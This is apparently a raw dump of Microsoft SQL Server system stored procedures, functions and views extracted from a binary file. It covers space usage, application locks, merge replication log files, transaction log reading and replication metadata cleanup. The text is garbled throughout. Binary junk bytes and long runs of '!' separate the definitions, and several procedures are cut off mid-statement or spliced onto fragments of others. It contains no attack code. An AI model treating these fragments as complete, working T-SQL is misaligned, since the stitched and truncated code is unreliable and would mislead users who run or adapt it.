	TO SERVICE ''syspolicy_event_listener'', ''current database'';'
	EXEC sp_executesql @statement

	COMMIT TRANSACTION

	RETURN (0)

        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_pp.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_pp.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME = s_pp.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME          = s_pp.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME           = s_pp.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                 = s_pp.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME    = s_pp.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME        = s_pp.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME          = s_pp.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION       = s_pp.SS_DATETIME_PRECISION
    from
        sys.spt_procedure_params_view s_pp

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pp.schema_id)
        and
        (
            (s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0 and s_pp.type in ('FN', 'TF', 'IF'))
        ) and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        DATA_TYPE_90                = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_MAXIMUM_LENGTH_90 = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        CHARACTER_OCTET_LENGTH_90   = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_pprv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_pprv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME = s_pprv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME          = s_pprv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME           = s_pprv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME                 = s_pprv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME    = s_pprv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_TYPE_CATALOG_NAME        = s_pprv.SS_TYPE_CATALOG_NAME,
        SS_TYPE_SCHEMANAME          = s_pprv.SS_TYPE_SCHEMANAME,
        SS_DATETIME_PRECISION       = s_pprv.SS_DATETIME_PRECISION
    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pprv.schema_id) and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )
)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!22`	<Zq*0s b8create procedure sys.sp_spaceused --- 2003/05/19 14:00
@objname nvarchar(776) = null,		-- The object we want size on.
@updateusage varchar(5) = false		-- Param. for specifying that
					-- usage info. should be updated.
as

declare @id	int			-- The object id that takes up space
		,@type	character(2) -- The object type.
		,@pages	bigint			-- Working variable for size calc.
		,@dbname sysname
		,@dbsize bigint
		,@logsize bigint
		,@reservedpages  bigint
		,@usedpages  bigint
		,@rowCount bigint

/*
**  Check to see if user wants usages updated.
*/

if @updateusage is not null
	begin
		select @updateusage=lower(@updateusage)

		if @updateusage not in ('true','false')
			begin
				raiserror(15143,-1,-1,@updateusage)
				return(1)
			end
	end
/*
**  Check to see that the objname is local.
*/
if @objname IS NOT NULL
begin

	select @dbname = parsename(@objname, 3)

	if @dbname is not null and @dbname <> db_name()
		begin
			raiserror(15250,-1,-1)
			return (1)
		end

	if @dbname is null
		select @dbname = db_name()

	/*
	**  Try to find the object.
	*/
	SELECT @id = object_id, @type = type FROM sys.objects WHERE object_id = object_id(@objname)

	-- Translate @id to internal-table for queue
	IF @type = 'SQ'
		SELECT @id = object_id FROM sys.internal_tables WHERE parent_id = @id and internal_type = 201 --ITT_ServiceQueue

	/*
	**  Does the object exist?
	*/
	if @id is null
		begin
			raiserror(15009,-1,-1,@objname,@dbname)
			return (1)
		end

	-- Is it a table, view or queue?
	IF @type NOT IN ('U ','S ','V ','SQ','IT')
	begin
		raiserror(15234,-1,-1)
		return (1)
	end
end

/*
**  Update usages if user specified to do so.
*/

if @updateusage = 'true'
	begin
		if @objname is null
			dbcc updateusage(0) with no_infomsgs
		else
			dbcc updateusage(0,@objname) with no_infomsgs
		print ' '
	end

set nocount on

/*
**  If @id is null, then we want summary data.
*/
if @id is null
begin
	select @dbsize = sum(convert(bigint,case when status & 64 = 0 then size else 0 end))
		, @logsize = sum(convert(bigint,case when status & 64 <> 0 then size else 0 end))
		from dbo.sysfiles

	select @reservedpages = sum(a.total_pages),
		@usedpages = sum(a.used_pages),
		@pages = sum(
				CASE
					-- XML-Index and FT-Index and semantic index internal tables are not considered "data", but is part of "index_size"
					When it.internal_type IN (202,204,207,211,212,213,214,215,216,221,222,236) Then 0
					When a.type <> 1 and p.index_id < 2 Then a.used_pages
					When p.index_id < 2 Then a.data_pages
					Else 0
				END
			)
	from sys.partitions p join sys.allocation_units a on p.partition_id = a.container_id
		left join sys.internal_tables it on p.object_id = it.object_id

	/* unallocated space could not be negative */
	select 
		database_name = db_name(),
		database_size = ltrim(str((convert (dec (15,2),@dbsize) + convert (dec (15,2),@logsize)) 
			* 8192 / 1048576,15,2) + ' MB'),
		'unallocated space' = ltrim(str((case when @dbsize >= @reservedpages then
			(convert (dec (15,2),@dbsize) - convert (dec (15,2),@reservedpages)) 
			* 8192 / 1048576 else 0 end),15,2) + ' MB')

	/*
	**  Now calculate the summary data.
	**  reserved: sum(reserved) where indid in (0, 1, 255)
	** data: sum(data_pages) + sum(text_used)
	** index: sum(used) where indid in (0, 1, 255) - data
	** unused: sum(reserved) - sum(used) where indid in (0, 1, 255)
	*/
	select
		reserved = ltrim(str(@reservedpages * 8192 / 1024.,15,0) + ' KB'),
		data = ltrim(str(@pages * 8192 / 1024.,15,0) + ' KB'),
		index_size = ltrim(str((@usedpages - @pages) * 8192 / 1024.,15,0) + ' KB'),
		unused = ltrim(str((@reservedpages - @usedpages) * 8192 / 1024.,15,0) + ' KB')
end

/*
**  We want a particular object.
*/
else
begin
	/*
	** Now calculate the summary data. 
	*  Note that LOB Data and Row-overflow Data are counted as Data Pages for the base table
	*  For non-clustered indices they are counted towards the index pages
	*/
	SELECT 
		@reservedpages = SUM (reserved_page_count),
		@usedpages = SUM (used_page_count),
		@pages = SUM (
			CASE
				WHEN (index_id < 2) THEN (in_row_data_page_count + lob_used_page_count + row_overflow_used_page_count)
				ELSE 0
			END
			),
		@rowCount = SUM (
			CASE
				WHEN (index_id < 2) THEN row_count
				ELSE 0
			END
			)
	FROM sys.dm_db_partition_stats
	WHERE object_id = @id;

	/*
	** Check if table has XML Indexes or Fulltext Indexes which use internal tables tied to this table
	*/
	IF (SELECT count(*) FROM sys.internal_tables WHERE parent_id = @id AND internal_type IN (202,204,207,211,212,213,214,215,216,221,222,236)) > 0 
	BEGIN
		/*
		**  Now calculate the summary data. Row counts in these internal tables don't 
		**  contribute towards row count of original table.
		*/
		SELECT 
			@reservedpages = @reservedpages + sum(reserved_page_count),
			@usedpages = @usedpages + sum(used_page_count)
		FROM sys.dm_db_partition_stats p, sys.internal_tables it
		WHERE it.parent_id = @id AND it.internal_type IN (202,204,207,211,212,213,214,215,216,221,222,236) AND p.object_id = it.object_id;
	END

	SELECT 
		name = OBJECT_NAME (@id),
		rows = convert (char(20), @rowCount),
		reserved = LTRIM (STR (@reservedpages * 8, 15, 0) + ' KB'),
		data = LTRIM (STR (@pages * 8, 15, 0) + ' KB'),
		index_size = LTRIM (STR ((CASE WHEN @usedpages > @pages THEN (@usedpages - @pages) ELSE 0 END) * 8, 15, 0) + ' KB'),
		unused = LTRIM (STR ((CASE WHEN @reservedpages > @usedpages THEN (@reservedpages - @usedpages) ELSE 0 END) * 8, 15, 0) + ' KB')

end


return (0) -- sp_spaceused
0J,@ 8CREATE PROCEDURE sys.sp_MSadd_replmergealert 
(
    @agent_type         int,
    @agent_id           int,
    @error_id           int,
    @alert_error_code   int,
    @publisher          sysname,
    @publisher_db       sysname,
    @publication        sysname,
    @publication_type   int,
    @subscriber         sysname,
    @subscriber_db      sysname,
    @article            sysname,
    @destination_object sysname,
    @source_object      sysname,
    @alert_error_text   ntext
)
AS
begin
    declare @retcode int
    
    SET NOCOUNT ON

    exec @retcode = sys.sp_MScheck_pull_access
            @agent_id = @agent_id,
            @agent_type = 1 -- merge agent
    if @@error <> 0 or @retcode <> 0
        return (1)

    INSERT INTO msdb.dbo.sysreplicationalerts (status, agent_type , agent_id, error_id, alert_error_code, time, publisher,
                                publisher_db, publication, publication_type, subscriber, subscriber_db,
                                article, destination_object, source_object, alert_error_text)
                VALUES (0, @agent_type, @agent_id, @error_id, @alert_error_code, getdate(), @publisher, 
                        @publisher_db, @publication, @publication_type, @subscriber, @subscriber_db, 
                        @article, @destination_object, @source_object, @alert_error_text)
    
    IF @@ERROR <> 0
    BEGIN
       RETURN (1)
    END

    return (0)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`V	)<G	rC+0c@ 8create procedure sys.sp_getapplock --- 1999/04/14 00:00
 @Resource nvarchar (255) = NULL,           -- Resource to lock
 @LockMode varchar (32),                    -- Lock mode
 @LockOwner varchar (32) = 'Transaction',   -- Lock Owner - [D = Transaction]
 @LockTimeout int = NULL,                   -- Lock timeout [D = Session setting]
 @DbPrincipal sysname = N'public'	    -- DB principal to use for name space and permissions
as

  declare @mode integer
  declare @owner integer
  declare @result integer
  declare @dbid integer

  select @mode =
   CASE @LockMode
     When ('Shared')            Then 3
     When ('Update')            Then 4
     When ('Exclusive')         Then 5
     When ('IntentExclusive')   Then 8
     When ('IntentShared')      Then 6
     Else -1
   END

  if @mode = -1
  begin
    raiserror(15625, -1, -1, @LockMode, N'@LockMode')
    return (-999)
  end

  select @owner =
   CASE @LockOwner
    When ('Transaction')    Then 1
    When ('Session')        Then 3
    Else -1
   END

  if @owner = -1
  begin
    raiserror(15625, -1, -1, @LockOwner, N'@LockOwner')
    return (-999)
  end

  if @LockTimeout is null
  begin
    set @LockTimeout = @@LOCK_TIMEOUT
  end

  select @dbid = db_id ()

  if @owner = 1 and @@trancount = 0
  begin
    raiserror(15626, -1, -1)
    return (-999)
  end

  exec @result = sys.xp_userlock 0, @dbid, @DbPrincipal, @Resource, @mode, @owner, @LockTimeout

  return @result
0%@ ]8create procedure sys.sp_helpmergelogfiles(
    @publication            sysname = '%',        /* Publication name */
    @subscriber             sysname = '%',        /* Subscriber server */
    @subscriber_db          sysname = '%',        /* Subscription database */
    @publisher              sysname = '%',        /* Publisher server */
    @publisher_db           sysname = '%',        /* Publisher database */
    @web_server				sysname = '%'		  /* logs from IIS server */
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @retcode            int
    declare @pubid                uniqueidentifier
    declare @subid                uniqueidentifier

    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)
    
    /* Security check */
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication, 
        @raise_fatal_error = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher <> '%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END

    /*
    ** Parameter Check:     @subscriber.
    ** If remote server, limit the view to the remote server's subscriptions.
    ** Make sure that the name isn't NULL.
    */
    if @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_helpmergelogfiles')
            RETURN (1)
        END

    /*
    ** Parameter Check:     @subscriber.
    ** Check if remote server is defined as a subscription server, and
    ** that the name conforms to the rules for identifiers.
    */

    if @subscriber <> '%'
        BEGIN
            EXECUTE @retcode = sys.sp_validname @subscriber

            if @retcode <> 0 OR @@ERROR <> 0
                RETURN (1)

        END

    /*
    ** Parameter Check:     @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.     Disallow NULL.
    */
    if @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergelogfiles')
            RETURN (1)
        END

    create table #helplogfiles
                (
					id					 int NULL,
                	pubname				 sysname NULL,
                	publisher			 sysname NULL,
                	publisher_db		 sysname NULL,
                	subscriber_server    sysname NULL,
                	db_name              sysname NULL,
		            web_server    		 sysname NULL,                
		            file_name			 sysname NULL,
		            upload_time			 datetime NULL,
		            log_file_type		 int NULL
                )


    insert into #helplogfiles select distinct mlf.id, pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
					mlf.web_server, mlf.file_name, mlf.upload_time, mlf.log_file_type

        FROM  dbo.MSmerge_log_files mlf,
        	  dbo.sysmergesubscriptions        subs,
              dbo.sysmergepublications    pubs
            where pubs.pubid = subs.pubid
                and subs.pubid <> subs.subid
                and pubs.name =     @publication 
                and mlf.subid = subs.subid
                and mlf.pubid = subs.pubid
                and ((@web_server = N'%') or (mlf.web_server = @web_server collate database_default))
                and ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db collate database_default))
                and ((@publisher_db = N'%') or (pubs.publisher_db = @publisher_db collate database_default))
                and ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                and ((@publisher = N'%') or (UPPER(pubs.publisher) = UPPER(@publisher) collate database_default))
        
	select * from #helplogfiles
	
    drop table #helplogfiles
    return @retcode 
sherconstraints ihpcn WITH ( INDEX( idx_IHpublisherconstraints_tableid)),
				dbo.IHpublishercolumnconstraints ihpcc WITH (INDEX(idx_IHpublishercolumnconstraints_pubconstraintid)),
				dbo.IHpublishercolumns ihpc WITH (INDEX(idx_IHpublishercolumns_pubcolumnid)),
				dbo.IHcolumns ihc WITH (INDEX(idx_IHcolumns_pubcolumnid))
		WHERE	ihpcn.publisher_id				= iha.publisher_id
		  AND	ihpcn.table_id					= iha.table_id
		  AND	ihc.publishercolumn_id			= ihpc.publishercolumn_id
		  AND	ihpc.publishercolumn_id			= ihpcc.publishercolumn_id
		  AND	ihpcn.publisherconstraint_id	= ihpcc.publisherconstraint_id
		  AND	iha.article_id					= ihc.article_id
		  AND	iha.article_id					= @article_id
		  AND	ihpcn.type						= 'PRIMARYKEY'
		ORDER BY ihpcc.indid asc
		OPTION  (LOOP JOIN, FORCE ORDER)
		
		OPEN	hArtCol
		FETCH	hArtCol
		INTO 	@colname

		-- Create column list	
		select	@spacer	= N' ',
				@cmd	= N''

		WHILE (@@fetch_status <> -1)
		begin
			select @cmd = @cmd + @spacer + QUOTENAME(@colname)
			select @spacer = N','

			if len(@cmd) > 3000
			begin
				insert into #proctext(procedure_text) values(@cmd)
				select @cmd = N''
			end

			FETCH	hArtCol
			INTO 	@colname
		end

		CLOSE hArtCol
		DEALLOCATE hArtCol

		insert into #proctext(procedure_text) values( @cmd )
		insert into #proctext(procedure_text) values( N')' )

		IF @useAlterTable = 1
		BEGIN
			-- Write command separator
			insert into #proctext(procedure_text) values (@cmd_sep)
		END
		ELSE
		BEGIN
			-- Close CREATE TABLE
			insert into #proctext(procedure_text) values (N')')
		END
	END

FINISHPK:
	IF @useAlterTable = 0
	BEGIN
		DECLARE @proctext nvarchar(4000)

		-- Replace trailing ',' with ')' if necessary
		SELECT	@proctext = procedure_text
		FROM	#proctext
		WHERE	seq = IDENT_CURRENT('#proctext')

		IF RIGHT(@proctext, 1) = ','
		BEGIN
			UPDATE	#proctext
			SET		procedure_text = LEFT(procedure_text, LEN(procedure_text) - 1) + N')'
			WHERE 	seq = IDENT_CURRENT('#proctext')
		END
	END
	
	RETURN (@retcode)
END	
e_default description,
	condition	collate database_default condition,
	status	collate database_default status,
	condition_value
from sys._pdw_health_alerts
0Ѿ D8@_h-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g\X<p	X`~<1sK"t0
 m8create function sys.fn_dblog
	(
		@start 	 nvarchar (25) = NULL,
		@end   	 nvarchar (25) = NULL
	)

returns table
as
	return select *
	from OpenRowset (TABLE DBLOG, @start, @end, NULL, 1,
					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
			 		 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
 					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
 					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
 					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
 					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
 					 NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)
0@@ e8create view sys.traces as select * from OpenRowset(TABLE SYSTRACES)
0K 8
CREATE PROCEDURE sys.sp_getVolumeFreeSpace
@database_name sysname,
@file_id int
AS
BEGIN

	IF(DB_NAME() != 'msdb')
	BEGIN
		RAISERROR(14416,-1,-1)
		RETURN 14416
	END
	IF ( HAS_PERMS_BY_NAME(null, null, 'VIEW SERVER STATE') != 1 )
	BEGIN
		RAISERROR(38002, -1, -1, 'View Server State')
		RETURN 38002
	END
	DECLARE @physicalfilename nvarchar(260)
	SELECT @physicalfilename = physical_name FROM sys.master_files WHERE database_id = DB_ID(@database_name) AND file_id = @file_id
	IF(@physicalfilename IS NULL)
	BEGIN
		RAISERROR(38001,-1,-1,@file_id,@database_name)
		RETURN 38001
	END
	SELECT sys.fn_getVolumeFreeSpace_internal(@physicalfilename)
END
0O@ (8create procedure sys.sp_MSreplcheck_publish_withddladmin 
as
begin
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if    is_srvrolemember('sysadmin') = 1 or
        is_member ('db_owner') = 1 or
        is_member ('db_ddladmin') = 1
    begin
        return (0)
    end
    else
    begin
        raiserror (21551, 14, -1)
        return (1)
    end
end
0@ D8Lh50b 
8
CREATE PROCEDURE sys.sp_IHflushmetadata
(
    @publisher          sysname,
    @source_owner       sysname,
    @source_table       sysname
)
AS
BEGIN
    DECLARE @retcode            int
    DECLARE @publisher_type     sysname
    DECLARE @publisher_id       int
    DECLARE @table_id           int

	--
    -- Get publisher info
    --
    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo  @publisher      = @publisher,
                                                    @publisher_type = @publisher_type OUTPUT,
                                                    @publisher_id   = @publisher_id   OUTPUT

	--
    -- Reject unsupported publisher types
    --
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END

	--
	-- Get table id
	--
	SELECT	@table_id = table_id
	FROM	dbo.IHpublishertables
	WHERE	publisher_id = @publisher_id
	  AND	owner        = @source_owner
	  AND	name         = @source_table

	--
	-- Delete publisher information if the table is not used by any other articles
	--
	IF NOT EXISTS
	(
		SELECT	*
		FROM	IHarticles
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	)
	BEGIN

		-- Delete the constraints
		DELETE	IHpublishercolumnconstraints 
		FROM	IHpublishercolumnconstraints col2con
		JOIN	IHpublisherconstraints ihcons on col2con.publisherconstraint_id = ihcons.publisherconstraint_id
		WHERE	ihcons.publisher_id = @publisher_id
		  AND	ihcons.table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)
	
		DELETE	IHpublisherconstraints 
		FROM	IHpublisherconstraints ihcons
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the indexes
		DELETE	IHpublishercolumnindexes 
		FROM	IHpublishercolumnindexes col2idx
		JOIN	IHpublisherindexes idx on col2idx.publisherindex_id = idx.publisherindex_id
		WHERE	idx.publisher_id = @publisher_id
		  AND	idx.table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)
	
		DELETE	IHpublisherindexes 
		FROM	IHpublisherindexes ihidx
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id
	
		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the columns
		DELETE	IHpublishercolumns
		FROM	IHpublishercolumns 
		WHERE	publisher_id = @publisher_id
		  AND  	table_id     = @table_id

		IF @@ERROR <> 0
			RETURN (1)

		-- Delete the table
		DELETE	IHpublishertables
		FROM	IHpublishertables
		WHERE	publisher_id = @publisher_id
		  AND	table_id     = @table_id

		IF @@ERROR <> 0
			RETURN (1)
	END

	RETURN (0)
END
.pubid = P.pubid where A.objid = @object_id and (P.allow_queued_tran = 1 or P.allow_sync_tran = 1))
      or exists( select * from sysarticles where objid = @object_id and (upper(upd_cmd) like 'CALL%' OR upper(upd_cmd) like 'XCALL%' ) )
      or exists( select * from sysarticles where objid = @object_id and (upper(del_cmd) like 'XCALL%' ) )
      or exists( select * from sysarticles sa, syssubscriptions ss where sa.objid = @object_id and sa.artid = ss.artid and ss.status = 3)
      or @forceset = 1
    begin
        EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = 1)
    	set @setFlag = 1
    end
    else 
    begin
		if (@fcdc_tracked = 0)
	       EXEC %%Relation(ID = @object_id).SetHasFilterProc(Value = 0)
    	set @setFlag = 0
    end

	--set/reset IsLoggedForRepl for all replicated column (except legacy blobs) depand on if has_replication_filter is set
	--this controls logging behavior of offrow columns in deletes 

	--don't clear the bits if table is still being tracked by cdc
	if(@setFlag = 1 or @fcdc_tracked = 0)
	begin
		declare #hpk cursor local fast_forward for
			select name from sys.columns where object_id = @object_id and is_replicated = 1 
					and system_type_id not in (34, 35, 99) --image, text. ntext
					and user_type_id not in  (34, 35, 99) --image, text. ntext
		open #hpk
		fetch #hpk into @pkkey
		while (@@fetch_status = 0)
		begin
			EXEC %%ColumnEx(ObjectID = @object_id, Name = @pkkey).SetLogForRepl(Value = @setFlag)
			IF @@ERROR <> 0
			BEGIN
				select @source_table = object_name(@object_id)
				RAISERROR(15052, -1, -1, @source_table)
				return 1
			END     
			fetch #hpk into @pkkey
		end
		close #hpk
		deallocate #hpk        

		--in case of turning of has_replicate_filter, make sure IsLoggedForRepl is still set for base of pk/computed pk columns
		if(@setFlag = 0)
		begin
			exec @retcode = sp_MSSetLogForRepl @object_id
		    if @@ERROR <> 0 or @retcode <> 0
		        return(1)
		end
	end
    COMMIT TRANSACTION
    return (0)

error_abort_exit:
    IF @@TRANCOUNT = 1
        ROLLBACK TRAN
    ELSE COMMIT TRAN
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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t-0 `8CREATE VIEW sys.dm_tran_top_version_generators AS
	SELECT TOP 256 database_id, rowset_id, SUM(record_length_first_part_in_bytes + record_length_second_part_in_bytes) aggregated_record_length_in_bytes 
	FROM sys.dm_tran_version_store
	GROUP BY database_id, rowset_id
	ORDER BY aggregated_record_length_in_bytes desc
0uv '8create function sys.fn_trace_getinfo
	(@handle int = 0
	)
returns @tab table(traceid int NOT NULL,
	property int NOT NULL,
	value sql_variant)
as
begin
	insert @tab
	select * from OpenRowset(TABLE TRACEINFO, @handle)

	return
end -- fn_trace_getinfo
0 %8CREATE PROCEDURE sys.sp_MSgetisvalidwindowsloginfromdistributor
(
	@login 		nvarchar(257),
	@isvalid	bit output,
	@publisher	sysname = NULL
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @retcode 			int,
			@dbname 			sysname,
			@distproc			nvarchar(4000),
			@distributor_rpc	sysname,
			@distribution_db	sysname

	SELECT @isvalid = 0,
			@dbname = DB_NAME()
	
	-- if db is publisher we will reroute to distributor
	IF sys.fn_MSrepl_ispublished(@dbname) = 1
	BEGIN
		-- Security Check
	    EXEC @retcode = sys.sp_MSreplcheck_publish
	    IF @@ERROR <> 0 OR @retcode <> 0
	        RETURN 1

		-- retrieve the distributor db information
	    EXEC @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor_rpc OUTPUT,
	    										@distribdb = @distribution_db OUTPUT,
	    										@publisher = @publisher
		IF @@ERROR <> 0 OR @retcode <> 0 OR @distributor_rpc IS NULL OR @distribution_db IS NULL
		BEGIN
			-- "The Distributor has not been installed correctly."
			RAISERROR (20036, 16, -1)
			RETURN 1
		END

		SELECT @distproc = QUOTENAME(@distributor_rpc) + '.' + QUOTENAME(@distribution_db) + '.sys.sp_MSgetisvalidwindowsloginfromdistributor'

		EXEC @retcode = @distproc @login = @login,
									@isvalid = @isvalid OUTPUT
		
		IF @@ERROR <> 0 OR @retcode <> 0
			RETURN 1
	END
	-- if we are at the distributor db then return the value
	ELSE IF sys.fn_MSrepl_isdistdb (@dbname) = 1
	BEGIN
		-- Security Check
	    IF IS_MEMBER('db_owner') != 1 
	    BEGIN
	        RAISERROR(14260, 16, -1)
	        RETURN 1
	    END
	    
		SELECT @isvalid = sys.fn_replisvalidwindowsloginformat(@login)
	END
	-- else raise an error
	ELSE
	BEGIN
		-- The database is not published.
		RAISERROR (18757, 16, -1)
		RETURN 1
	END

	RETURN 0
END
0\ z8--
-- Name: sp_MScleanupdynamicsnapshotfolder
--
-- Description: This procedure is used to cleanup the specified dynamic 
--              snapshot folder. It is designed to be called through the 
--              distributor RPC link.
--
-- Parameters: @publisher                   sysname
--             @publisher_db                sysname
--             @publication                 sysname
--             @dynamic_filter_login        sysname
--             @dynamic_filter_hostname     sysname
--             @dynamic_snapshot_location   nvarchar(260)
--             @partition_id                int
--
--
-- Security: Public procedure invoked via RPC. db_owner check
-- Requires Certificate signature for catalog access
-- 
CREATE PROCEDURE sys.sp_MScleanupdynamicsnapshotfolder
(
    @publisher                   sysname,
    @publisher_db                sysname,
    @publication                 sysname,
    @dynamic_filter_login        sysname,
    @dynamic_filter_hostname     sysname,
